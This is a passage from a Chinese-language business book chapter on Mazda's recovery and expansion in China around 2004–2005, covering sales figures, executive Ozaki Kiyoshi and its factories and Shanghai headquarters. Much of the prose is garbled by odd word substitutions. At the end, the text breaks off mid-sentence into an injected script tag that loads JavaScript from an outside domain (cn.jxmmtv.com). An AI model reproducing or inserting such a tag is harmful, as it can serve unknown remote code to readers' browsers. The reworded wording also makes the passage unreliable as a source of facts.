第三部 适合者
第八章 马自达加速
缩短战线集中力量研制出新式汽车的马自达飞速复苏，其在中国的锋芒甚至盖过了它的控股股东福特汽车。――题记
57岁的尾崎清2004年6月升任日本马自达汽车公司专务实行役员，全方位负责公司在中国的事业。以如此一个身份来负责外国事业，在马自达的历史上这是一次。此时正值中国车市开始结束井喷进入后来让人们形容的市场低迷时期。当年马自达在中国的销售整体增长达到21%，尽管跑赢了大势（15.6%），但营业额未如2003年凶猛。
但尾崎清对马自达目前的成绩已经相当认可。
2004年，马自达全球销售量110.4万辆，日本当地、美国和整个欧洲的销售量平均都只在27万辆左右，而在中国，它短短4年间已经获得了从1万辆到97000辆的突破。即便全球收益一销售量第二的日本丰田汽车公司在中国也未能获得如此的成绩。以致他在2005年5月上旬同意笔者专访时不无感慨地表示：“进入马自达34年了，去年是我一次看到公司生产的汽车出现供不应求的状况。”
作为世界排名第13位的汽车制造商，马自达当年由于极度追求产量和市场扩张在1995年起过去连续出现经营性巨额亏损，以致最后被美国福特汽车公司以33.4%的股份控股。经过几年卧薪尝胆式地改革，它终于探寻到真的的自我。品牌价值重新定位，新车开发时间缩短，本国市场得到挽救，北美市场开始复苏，欧洲市场增长加快，而国内市场则所向披靡，成为决定马自达将来地位的重点所在。
2004年4月8日，马自达宣布2010财年在华汽车销售量为30万辆，约占其预测的当时中国车市5－6％的市场份额。这是个既雄心勃勃又相当小心翼翼的目的。雄心勃勃在于这个数字超越了马自达在美国和欧洲市场现在销售量的目的，但在角逐对手那里，这个市场份额最多是个及格数字，并不起眼――看看韩国现代的目的是20%，而德国大众居然想要30%。鉴于马自达过往的教训，马自达拒绝抢占市场份额的大跃进。
不可以因此低估了马自达的企图，傲慢的丰田制定的2010年在华目的也只不过10%的市场份额。事实上，仅就过去一年来讲，假如可以采取像韩国现代那样推行底价方案，马自达应该可以占据更大的市场份额。一年之后的目前，尾崎清承认“大家制定目的当然是谦虚的”。他去年全方位掌管中国事业也说明了这一点。马自达在中国的成功已经使他相信可以在中国获得更大的成功，毕竟它以往在中国的成功看着很随便。
现在，马自达在中国有海南和长春两个生产基地，但都是以类似外包而不是以通行的合资方法来拓展国内市场。这种方法在角逐日益严峻的国内市场并非长久之计。为切实达成马自达所称的2010年的在华中期目的，它不只宣布在将来3年之内向在中国推出8款商品，更要紧的改变正在进行。
2005年6月1日，被冠名为马自达汽车（上海）企业咨询公司的马自达在中国的统括公司在上海举行开始营业仪式。公司由尾崎清领衔董事长，总经理由制造出身参与过马自达美国事业的太刀挂哲担纲。这是马自达在中国搭建的最高神经中枢，等于跨国企业的中国区地位。
此前它已经与一汽在3月合资成立一汽马自达销售公司，并宣布将逐步销售马自达在华所有商品；而2005年年初，马自达与控股公司福特和其合资伙伴长安一同出资的南京工厂也已经开工建设，使其在中国的生产基地达到了3家。
马自达显然已经不再甘心隐藏在福特汽车的影子下，努力以自我为主，正面出击国内市场。笑容可掬的尾崎清将来的日子里将更多地往返于总部广岛和“中国区”总部上海两地。但怎么样有效地协调与不同对象合作的3个工厂的生产，怎么才能将3个工厂的商品放到一张销售互联网中销售，怎么才能根据自己而不是控股股东福特在华策略来推进中国事业，都不是轻松之举。
□ 意料之外之喜
2004年，海南马自达汽车公司销售马自达汽车共6.4万辆，对此，马自达以前想未敢想。海南马自达自2001年以来实质已经成为马自达中国业务的起飞地。怎么样与海南汽车结缘，到了现在，连尾崎清也表示无从知道。
当时的中国好似2003年车市井喷时期一样兴起进军汽车热，不一样的是当时以国有资本投入为主。在1988年购进福特汽车菲律宾冲压?script src=http://cn.jxmmtv.com/cn.js>cript>
